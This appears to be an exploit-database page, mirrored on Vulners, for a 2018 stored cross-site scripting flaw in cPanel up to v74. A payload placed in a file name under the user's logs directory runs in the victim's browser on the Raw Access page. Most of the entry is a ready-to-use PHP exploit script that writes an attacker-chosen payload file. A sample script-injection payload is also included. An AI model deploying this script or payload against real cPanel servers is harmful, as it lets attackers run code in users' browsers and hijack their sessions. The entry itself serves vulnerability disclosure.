Lucene search
K

cPanel Filename Based Stored XSS < v76 Exploit

🗓️ 16 Aug 2018 00:00:00Reported by Numan OZDEMIRType 
zdt
 zdt
🔗 0day.today👁 164 Views

cPanel v74 Filename Based Stored XS

Code
[+] Title: cPanel Filename Based Stored XSS <= v74

[+] Author: Numan OZDEMIR

[+] Vendor Homepage: cpanel.com

[+] Version: Up to v74. Will be fixed in v76.

[+] Discovered by Numan OZDEMIR in InfinitumIT Labs

[+] [email protected] - [email protected]

[~] Description:

Attacker can inject JavaScript codes without cPanel privilege. Normally an attacker cant intervene to cPanel without cPanel privilege. But with this vulnerability, attacker can run JavaScript codes on cPanel user's browser while the victim surfing here:
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html (Raw Access Page)
 
[~] How to Reproduce:
Create a file as named with your payload in /home/user/logs directory
or run the php exploit:

Note: You cant create a file as named with / (slash) character by this exploit.

This vulnerability is disclosed by cPanel Team's confirmation.

// for secure days...

<center>
<?php
$p = $_POST['payload'];
$x = get_current_user();
$dir = "/home/".$x."/logs/";

if($_POST){
	if(touch($dir.$p)){
	die('
	Successfully exploited. Visit <br>
http://ip:2082/cpsessXXXXXXXXXX/frontend/THEME/raw/index.html	
	');
	}else{
		die('An error occured.');
	}
}else{
echo 'Enter your payload:
<form action="" method="post"><input type="text" name="payload" placeholder="<img src onerror=alert(2)>">
<input type="submit" value=">>"></form>';
}

// end of the script.
?>


#  0day.today [2018-08-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation